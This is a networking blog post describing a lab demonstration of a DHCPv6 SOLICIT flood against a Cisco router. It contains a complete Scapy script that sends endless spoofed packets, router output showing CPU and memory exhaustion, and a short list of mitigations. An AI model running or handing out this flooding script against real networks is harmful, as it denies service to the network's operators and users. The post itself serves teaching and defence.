January 27, 2012 2 Comments
DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this makes DHCPv6 particularly vulnerable to fake attack, in which SOLICIT messages are generated with random source prefixes.
Using DHCPv6 Rapid-Commit mode, ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.
Picture1: lab topology – IOS 12.4(24)T implemented in GNS3
DHCPv6 server configuration:
|ipv6 dhcp pool SLAAC-POOL
address prefix 2001:DB8:5AB::/64 lifetime infinite infinite
ip address 192.168.0.202 255.255.255.0
ipv6 address 2001:DB8::202/64
ipv6 dhcp server pool0 rapid-commit
Layer2 Switch configuration:
switchport access vlan 10
switchport mode trunk
Below is the Scapy script used for the attack, though awkward, but do the job.
You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.
SOLCIT messages are sent blindly without even expecting any responses.
# -*- coding: utf-8 -*- #! /usr/bin/env python # DHCPv6 fake attack # Date: 28/10/11 # Author: AJ NOURI (cciethebeginning.wordpress.com) from scapy.all import * from netaddr import * # or from netaddr.strategy.ipv6 import * import random class randmac(): """ Generates two forms of random MAC address and corresponding Link Local EUI-64 IPv6 address""" def __init__(self): """ Generates MAC address string by chunks of one byte """ random.seed() self.mac11 = str(hex(random.randint(0,255))[2:]) self.mac12 = str(hex(random.randint(0,255))[2:]) self.mac21 = str(hex(random.randint(0,255))[2:]) self.mac22 = str(hex(random.randint(0,255))[2:]) self.mac31 = str(hex(random.randint(0,255))[2:]) self.mac32 = str(hex(random.randint(0,255))[2:]) def form1b(self): """ format 1 XX:XX:XX:XX:XX:XX""" self.rez1 = self.mac11 + ":" + self.mac12 + ":" + self.mac21 + ":" + self.mac22 + ":" + self.mac31 + ":" + self.mac32 return self.rez1 def form2b(self): """ format 2 XXXX.XXXX.XXXX""" self.rez2 = self.mac11 + self.mac12 + "." + self.mac21 + self.mac22 + "." + self.mac31 + self.mac32 return self.rez2 def eui64(self): """ Generates interface ID in EUI-64 format""" self.rez3 = self.mac11 + self.mac12 + ":" + self.mac21 + "ff" + ":" + "fe" + self.mac22 + ":" + self.mac31 + self.mac32 return self.rez3 def ip6_ll_eui64(self): """ Generates Link-local IPv6 addres in EUI-64 format""" self.ip6_ll_eui64 = "fe80" + "::" + self.eui64() return self.ip6_ll_eui64 def main(): # Building and initilizing DHCP SOLICIT packet layers with common parameters l2 = Ether() l3 = IPv6() l4 = UDP() sol = DHCP6_Solicit() rc = DHCP6OptRapidCommit() opreq = DHCP6OptOptReq() et= DHCP6OptElapsedTime() cid = DHCP6OptClientId() iana = DHCP6OptIA_NA() rc.optlen = 0 opreq.optlen = 4 iana.optlen = 12 iana.T1 = 0 iana.T2 = 0 cid.optlen = 10 """ DHCPv6 MAC address: you can enter manually or as argument to rthe script or get it automatically """ by pinging DHCPv6 agent multicast ff02::1:2 macdst = "ca:00:39:b8:00:06" l2.dst = macdst l3.dst = "ff02::1:2" l4.sport = 546 l4.dport = 547 #for i in range(1,1000): while(1 == 1): # Generating MAC and its corresponding IPv6 link-local in EUI-64 format macs = randmac() macsrc = macs.form1b() ipv6llsrc = macs.ip6_ll_eui64() # Initializaing the source addreses l2.src = macsrc l3.src = ipv6llsrc random.seed() # Generating SOLICIT message id sol.trid = random.randint(0,16777215) # Generating DUID-LL cid.duid = ("00030001"+ str(EUI(macsrc)).replace("-","")).decode("hex") # Assembing the packet pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq try: # GO! sendp(pkt, iface='eth1') except KeyboardInterrupt: print 'Program Interrupted by user' break if __name__=="__main__":main()
Picture2: Fake DHCPv6 SOLICIT packets in Wireshark
|R2#sh ipv6 dhcp pool
DHCPv6 pool: SLAAC-POOL
Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts)
DNS server: 2001:DB8:5AB::57
Domain name: nouri.com
Active clients: 91725
Look already at the number of fake active clients!
With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.
During the attack:
Baseline (before the attack):
During the attack:
100% of interrupt processing caused by DHCPv6 and ND processes activities.
|R2#sh proc cpu
CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory.
Thirty minutes later, the 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem.
Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.
|Pool: Processor Free: 58968 Cause: Memory fragmentation
Alternate Pool: None Free: 0 Cause: No Alternate pool
-Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z
*Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0
Here more self-explanatory figures about the event:
Picture3: CPU utilization
Picture4: memory utilization
Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.
The Denial of Service involves the binding table associated to the DHCPv6 configuration pool
|The DHCPv6 server maintains an automatic binding table in memory to track the assignment of some configuration parameters, such as prefixes between the server and its clients.
The binding table contains the records about all the prefixes in the configuration pool that have been explicitly delegated to clients. Each entry in the binding table contains the following information:
|R2#clear ipv6 dhcp bind *|
Here is a couple of threat mitigation tools you need to consider to mitigate the attack:
- 802.1x for layer2 authentication before even attending DHCPc6 process.
- Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.
- ND related security can be used in the Layer2 switch connecting DHCPv6 clients:
- IPv6 device tracking to make sure neighbour table contains only live hosts.
- ND inspection: reject ND messages if MAC is unverifiable.
- Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.